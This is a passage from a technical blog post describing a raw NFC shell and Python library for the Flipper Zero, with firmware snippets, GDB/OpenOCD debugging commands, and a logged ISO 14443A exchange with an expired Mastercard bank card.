    if (timeout_ms != 0) {

        error = furi_hal_nfc_poller_rx(data, 100, &rx_bits);
        if (error != FuriHalNfcErrorNone) {
            printf("Error. >2 - r %d - size %d - data ", error, rx_bits);
            return;
        }

        for (i = 0; i < (rx_bits / 8); i++) {
            printf("%02X", data[i]);
        }
        printf("\r\n");
    } else {
        printf("Error. Timeout\r\n");
    }

You might say that sometimes a CRC needs to be calculated and added to the end of the command. No worries—there are various pre-implemented functions that handle this!

    if (add_crc == true) {
        switch (g_NfcTech) {
            case FuriHalNfcTechIso14443a:
                iso14443_crc_append(Iso14443CrcTypeA, cmd);
                break;
            case FuriHalNfcTechIso14443b:
                iso14443_crc_append(Iso14443CrcTypeB, cmd);
                break;
            case FuriHalNfcTechIso15693:
                iso13239_crc_append(Iso13239CrcTypeDefault, cmd);
            default:
                break;
        }
    }

The NFC API of the Flipper Zero is very well designed, as I ended up using only a few functions to achieve the desired result. However, using an ST-Link v2 probe for debugging was incredibly helpful. In the blog post Debugging Flipper Zero Firmware with ST-Link v2, Drew Green mentions using a €10 ST-Link v2 clone from Amazon, which worked perfectly. I have the same one, and it indeed works great (and is much more convenient to use than the bulky ST-Link v3 I also own).

On his site, Drew Green provides images showing how to connect the probe to the Flipper Zero. Just remember to enable debug mode on the Flipper Zero, as I mentioned earlier; otherwise, debugging won’t work.

Starting GDB to debug the Flipper with the probe is also very straightforward and can be done with a single command.

./fbt debug

Basically, it involves running GDB, which in turn launches OpenOCD to debug the Flipper.

arm-none-eabi-gdb-py3 -ex "source scripts/debug/gdbinit" 
-ex "target extended-remote |openocd -c 'gdb_port pipe; 
log_output scripts/debug/openocd.log' -f interface/stlink.cfg 
-c 'transport select hla_swd' -f scripts/debug/stm32wbx.cfg 
-c 'stm32wbx.cpu configure -rtos auto' -c init" 
-ex "source scripts/debug/FreeRTOS/FreeRTOS.py" 
-ex "source scripts/debug/flipperapps.py" 
-ex "source scripts/debug/flipperversion.py" 
-ex "fap-set-debug-elf-root build/f7-firmware-D/.extapps" 
-ex "source scripts/debug/PyCortexMDebug/PyCortexMDebug.py" 
-ex "svd_load scripts/debug/STM32WB55_CM4.svd" 
-ex compare-sections 
-ex fw-version build/f7-firmware-D/firmware.elf

To simplify, you can start OpenOCD in one terminal ...

openocd  -f interface/stlink.cfg -c 'transport select hla_swd' -f scripts/debug/stm32wbx.cfg -c 'stm32wbx.cpu configure -rtos auto' -c init

... and then connect to it via GDB. This makes integration with any IDE quite straightforward.

arm-none-eabi-gdb -ex "target remote localhost:3333"

So, I have everything I wanted... except for sending bits, where I currently only handle the REQA. I will fix it soon. The code is development is available here.

    error = furi_hal_nfc_iso14443a_poller_trx_short_frame(FuriHalNfcaShortFrameAllReq);

In the end, this allows me to communicate with contactless cards using ISO 15693, ISO 14443 A, or B modes. Below is an example of using the new NFC shell to start a conversation with a bank card.

 >: nfc mode_14443_a
Set mode ISO 14443 A

>: nfc on

>: nfc reqa
0400

>: nfc send 0 9320
B9CC137117

>: nfc send 1 9370B9CC137117
20FC70

Of course, typing everything into the shell can be quite tedious. However, the goal has always been to control everything using a Python library. That’s why I updated my project, pynfcreader, here. Below is a Python code example to initiate communication with a bank card and send an APDU. The APDU encapsulation is handled automatically.

import time

from pynfcreader.devices import flipper_zero
from pynfcreader.sessions.iso14443.iso14443a import Iso14443ASession

fz = flipper_zero.FlipperZero("/dev/ttyACM0", debug=False)

hn = Iso14443ASession(drv=fz, block_size=120)

hn.connect()
hn.field_off()
time.sleep(0.1)
hn.field_on()
hn.polling()
r = hn.send_apdu("00 a4 04 00   0E   32 50 41 59 2E 53 59 53 2E 44 44 46 30 31   00")

I got this exchange using a bank card that expired 10 years ago, running a Mastercard application.

INFO  ::  Connect to Flipper Zero
INFO  ::  
INFO  ::  field off
INFO  ::  field on
INFO  ::  REQA (7 bits):
INFO  ::    26                                                     &   
INFO  ::  ATQA:
INFO  ::    04 00                                                  ..   
INFO  ::  Select cascade level 1:
INFO  ::    93 20                                                  .    
INFO  ::  Select cascade level 1 response:
INFO  ::    B9 CC 13 71 17                                         ...q.   
INFO  ::  Select cascade level 1:
INFO  ::    93 70 B9 CC 13 71 17                                   .p...q.   
INFO  ::  Select cascade level 1 response:
INFO  ::    20 FC 70                                                .p   
INFO  ::  Request for Answer To Select (RATS):
INFO  ::    PCD selected options:
INFO  ::        FSDI : 0x0 => max PCD frame size : 16 bytes
INFO  ::        CID  : 0x0
INFO  ::  RATS
INFO  ::    E0 00                                                  ..   
INFO  ::  Answer to Select (ATS = RATS response):
INFO  ::    0A 78 80 82 02 20 63 CB   A3 A0 92 43                  .x... c.   ...C
INFO  ::    T0 : 0x78
INFO  ::        FSCI : 0x8 => max card frame size : 256 bytes
INFO  ::        TA(1) present
INFO  ::        TB(1) present
INFO  ::        TC(1) present
INFO  ::    TA(1) : 0x80
INFO  ::        Interpretation : TODO...
INFO  ::    TB(1) : 0x82
INFO  ::        Interpretation : TODO...
INFO  ::    TC(1) : 0x02
INFO  ::        NAD not supported
INFO  ::        CID supported
INFO  ::    Historical bytes : 20 63 CB A3 A0
INFO  ::    CRC : 92 43
INFO  ::  
INFO  ::  
INFO  ::  
INFO  ::  PPS
INFO  ::    PCD selected options:
INFO  ::    CID : 0x0
INFO  ::    PPS1 not transmitted
INFO  ::  PPS:
INFO  ::    D0 01                                                  ..   
INFO  ::  PPS response:
INFO  ::    D0 73 87                                               .s.   
INFO  ::    PPS accepted
INFO  ::  
INFO  ::  APDU command:
INFO  ::    00 A4 04 00 0E 32 50 41   59 2E 53 59 53 2E 44 44      .....2PA   Y.SYS.DD
INFO  ::    46 30 31 00                                            F01.   
INFO  ::        TPDU command:
INFO  ::        0A 00 00 A4 04 00 0E 32   50 41 59 2E 53 59 53 2E      .......2   PAY.SYS.
INFO  ::        44 44 46 30 31 00                                      DDF01.   
INFO  ::        TPDU response:
INFO  ::        1A 00 6F 57 84 0E 32 50   41 59 2E 53 59 53 86 C7      ..oW..2P   AY.SYS..
INFO  ::        TPDU command:
INFO  ::        A3                                                     .   
INFO  ::        TPDU response:
INFO  ::        13 2E 44 44 46 30 31 A5   45 BF 0C 42 61 1B 64 B0      ..DDF01.   E..Ba.d.
INFO  ::        TPDU command:
INFO  ::        A2                                                     .   
INFO  ::        TPDU response:
INFO  ::        12 4F 07 A0 00 00 00 42   10 10 50 02 43 42 63 59      .O.....B   ..P.CBcY
INFO  ::        TPDU command:
INFO  ::        A3                                                     .   
INFO  ::        TPDU response:
INFO  ::        13 87 01 01 9F 28 08 40   02 00 00 00 00 00 43 51      .....(.@   ......CQ
INFO  ::        TPDU command:
INFO  ::        A2                                                     .   
INFO  ::        TPDU response:
INFO  ::        12 00 61 23 4F 07 A0 00   00 00 04 10 10 50 6D 2B      ..a#O...   .....Pm+
INFO  ::        TPDU command:
INFO  ::        A3                                                     .   
INFO  ::        TPDU response:
INFO  ::        13 0A 4D 41 53 54 45 52   43 41 52 44 87 01 4E 70      ..MASTER   CARD..Np
INFO  ::        TPDU command:
INFO  ::        A2                                                     .   
INFO  ::        TPDU response:
INFO  ::        12 02 9F 28 08 40 00 20   00 00 00 00 00 90 BD 88      ...(.@.    ........
INFO  ::        TPDU command:
INFO  ::        A3                                                     .   
INFO  ::        TPDU response:
INFO  ::        03 00 C8 34                                            ...4   
INFO  ::  APDU response:
INFO  ::    6F 57 84 0E 32 50 41 59   2E 53 59 53 2E 44 44 46      oW..2PAY   .SYS.DDF
INFO  ::    30 31 A5 45 BF 0C 42 61   1B 4F 07 A0 00 00 00 42      01.E..Ba   .O.....B
INFO  ::    10 10 50 02 43 42 87 01   01 9F 28 08 40 02 00 00      ..P.CB..   ..(.@...
INFO  ::    00 00 00 00 61 23 4F 07   A0 00 00 00 04 10 10 50      ....a#O.   .......P
INFO  ::    0A 4D 41 53 54 45 52 43   41 52 44 87 01 02 9F 28      .MASTERC   ARD....(
INFO  ::    08 40 00 20 00 00 00 00   00 90 00                     .@. ....   ...

The next step is to clean everything up and then use the same principle to emulate a card!